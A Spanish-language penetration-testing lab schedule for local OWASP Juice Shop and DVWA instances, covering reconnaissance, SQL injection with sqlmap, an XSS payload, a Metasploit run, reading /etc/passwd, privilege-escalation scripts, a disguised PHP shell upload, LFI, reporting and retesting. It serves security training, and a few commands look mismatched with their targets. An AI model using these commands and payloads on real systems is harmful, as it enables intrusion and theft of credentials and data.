Lunes mañana – Reconocimiento

- OSINT con Google Dorks

En Google, prueba consultas como

site:juice-shop-domain.com inurl:admin

site:juice-shop-domain.com filetype:pdf

intitle:"Juice Shop"

  -
  - Identifica subdominios, documentos expuestos y puntos de interés.

Búsqueda en Shodan

export SHODAN_API_KEY=<tu_api_key>

shodan host <IP_del_objetivo>

- Analiza los puertos abiertos, versiones de servicios y banners.
- Inspección con DevTools
  - Abre el navegador en http://localhost:3000
  - En la pestaña Network, filtra por XHR para ver llamadas a APIs REST
  - En Application → Local Storage / Session Storage, revisa tokens, cookies y datos expuestos

Lunes tarde – Enumeración

Escaneo de puertos y servicios con nmap

nmap -sC -sV -p3000 -oN juice_nmap.txt localhost

- Revisa `juice_nmap.txt` para rutas de administración o API.

Fuerza de directorios con Dirbuster

dirbuster -u http://localhost:3000 -l /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

- Identifica endpoints “/rest/”, “/assets/”, “/uploads/”.
- Intercepción con Burp Suite
    - Inicia Burp en modo proxy (127.0.0.1:8080)
    - Configura el navegador para usar ese proxy
    - Navega por la aplicación y observa parámetros ocultos, cookies y cabeceras

Martes – Explotación

Inyección SQL con sqlmap

```
sqlmap -u "http://localhost:3000/rest/products/search?q=1" --batch --dbs
```

- Lista bases de datos y extrae tablas críticas (`users`, `orders`).
- Pruebas de XSS con Burp Intruder
    - Captura la petición que incluye un parámetro de búsqueda
    - Envía a Intruder, elige posición en el parámetro y carga un payload como `<script>alert(1)</script>`
    - Analiza respuestas en la pestaña “Params” para ver si se refleja el payload

Uso de Metasploit para explotación genérica

```
msfconsole -q
use exploit/multi/http/phpmyadmin_preg_replace
set RHOSTS localhost
set RPORT 3000
run
```

- Ajusta módulo y opciones al servicio vulnerable detectado.

Miércoles mañana – Post-explotación

Sesión Meterpreter

sessions -u <ID_de_sesión>

shell

Explora el sistema de archivos, descarga `/etc/passwd` con

download /etc/passwd /tmp/passwd

-

Decodificación de JWT con jwt.io o cli

echo "<token_JWT>" | cut -d. -f2 | base64 --decode | jq .

- Verifica datos del usuario, fecha de emisión y permisos.

Privilege escalation con scripts automáticos

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

- Busca configuraciones inseguras, SUIDs y credenciales en texto plano.

Miércoles tarde – Elaboración de informe

Captura de pantallas

scrot -u lab_capture.png

- Incluye snapshots de Burp, resultados de nmap y salidas de sqlmap.

Cálculo de puntuaciones CVSS

pip install cvss

cvss2 -v 3.1 -c "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"

- Inserta la puntuación y vector CVSS junto a cada hallazgo.
- Redacción en Word
    - Describe cada fase, objetivo y resultados
    - Adjunta capturas y tablas de riesgo
    - Finaliza con recomendaciones técnicas y políticas de mitigación

Jueves – Validación de correcciones y retesting

Actualizar OWASP Juice Shop a la última versión y recrear el contenedor

```
docker pull bkimminich/juice-shop:latest

docker rm -f juice-shop

docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop:latest
```

- Con esto te aseguras de que cualquier parche oficial quede desplegado y arranca el servicio limpio para las pruebas de validación.

Volver a escanear inyección SQL

```
sqlmap -u "http://localhost:3000/rest/products/search?q=1" \
    --batch --dbs
```

- Verifica que ya no se liste ninguna base de datos; si el resultado es “parameter is not injectable” significa que la corrección ha sido efectiva.

Repetir prueba de XSS reflejado

```
curl -X GET "http://localhost:3000/rest/products/search?q=<script>alert(1)</script>" \
   -i
```

- Comprueba que el payload no aparece en la respuesta y que el tag `<script>` ha sido escapado o filtrado.

Validar bloqueo de subida de archivos maliciosos

```
mv shell.php shell.php.jpg

curl -s -b cookie.txt \
    -F "uploaded=@shell.php.jpg;type=image/jpeg" \
    -F "Upload=Upload" \
    http://localhost:8080/vulnerabilities/upload/index.php \
    | grep -i "error\|not allowed"
```

- Espera un mensaje de error o rechazo en lugar de un enlace al fichero.

Confirmar mitigación de LFI

```
curl -s "http://localhost:8080/vulnerabilities/fi/index.php?page=/etc/passwd" \
    -b cookie.txt
```

- No debe devolver contenido del sistema. Si la página responde en blanco o muestra un mensaje de error controlado, la vulnerabilidad está cerrada.

Viernes – Limpieza de entorno y entrega de resultados

Realizar copia de seguridad de artefactos del laboratorio

```
tar czf ~/lab_backup_$(date +%F).tgz ~/juice_nmap.txt ~/dvwa_nmap.txt juice_dirs.txt dvwa_enum.txt cookie.txt informe.md
```

- Agrupa todos los archivos de salida y el borrador de informe en un único paquete.

Generar versión PDF del informe

```
pandoc informe.md -o informe_final.pdf
```

- Convierte el documento Markdown a PDF para distribución.

Enviar el informe por correo (si dispones de MTA configurado)

```
echo "Adjunto informe final de hacking ético" | \
```

mail -s "Informe de pruebas de seguridad" -a informe_final.pdf equipo-seguridad@empresa.com

-

Desmontar y limpiar contenedores e imágenes Docker

docker-compose down

docker rm -f juice-shop dvwa

docker system prune -af

- Elimina todos los contenedores y libera espacio en disco.

Apagar el entorno WSL

wsl --shutdown

- Cierra la instancia de Ubuntu para liberar recursos en Windows.